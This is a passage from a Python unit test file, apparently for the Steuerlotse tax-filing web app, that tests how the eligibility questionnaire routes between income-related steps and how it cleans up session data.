test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'taxed_investment_income_eligibility': 'yes'})) expected_url = step.url_for_step(CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'taxed_investment_income_eligibility': 'no'})) expected_url = step.url_for_step(TaxedInvestmentIncomeEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'taxed_investment_income_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no'} session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestCheaperCheckEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def test_handle_sets_correct_prev_url(self): step = CheaperCheckEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=CheaperCheckEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestCheaperCheckDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'cheaper_check_eligibility': 'no'})) expected_url = step.url_for_step(EmploymentDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'cheaper_check_eligibility': 'yes'})) expected_url = step.url_for_step(CheaperCheckEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'cheaper_check_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_multiple_users_then_show_multiple_text(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no'} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.cheaper_check_eligibility.yes', 'form.eligibility.cheaper_check_eligibility.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.cheaper_check_eligibility.no', 'form.eligibility.cheaper_check_eligibility.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.cheaper_check_eligibility.choices) def test_if_single_user_then_show_single_text(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no'} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.cheaper_check_eligibility.yes', 'form.eligibility.cheaper_check_eligibility.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.cheaper_check_eligibility.no', 'form.eligibility.cheaper_check_eligibility.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.cheaper_check_eligibility.choices) class TestEmploymentDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'employment_income_eligibility': 'no'})) expected_url = step.url_for_step(IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'employment_income_eligibility': 'yes'})) expected_url = step.url_for_step(MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_incomes_but_no_cheaper_check_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(CheaperCheckDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_incomes_but_minimal_investment_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {**self.correct_session_data.copy(), **{'minimal_investment_income_eligibility': 'yes'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_no_incomes_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {**self.correct_session_data.copy(), **{'investment_income_eligibility': 'no'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'employment_income_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_multiple_users_then_show_multiple_text(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no', 'employment_income_eligibility': 'no'} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.employment_income.yes', 'form.eligibility.employment_income.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.employment_income.no', 'form.eligibility.employment_income.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.employment_income_eligibility.choices) def test_if_single_user_then_show_single_text(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no', 'employment_income_eligibility': 'no'} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.employment_income.yes', 'form.eligibility.employment_income.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.employment_income.no', 'form.eligibility.employment_income.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EmploymentDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.employment_income_eligibility.choices) class TestMarginalEmploymentIncomeEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def test_handle_sets_correct_prev_url(self): step = MarginalEmploymentIncomeEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=MarginalEmploymentIncomeEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestMarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'marginal_employment_eligibility': 'yes'})) expected_url = step.url_for_step(IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(EmploymentDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'marginal_employment_eligibility': 'no'})) expected_url = step.url_for_step(MarginalEmploymentIncomeEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'marginal_employment_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestIncomeOtherEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def test_handle_sets_correct_prev_url(self): step = IncomeOtherEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=IncomeOtherEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestIncomeOtherDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'other_income_eligibility': 'no'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'other_income_eligibility': 'no'})) expected_url = step.url_for_step(ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, True, 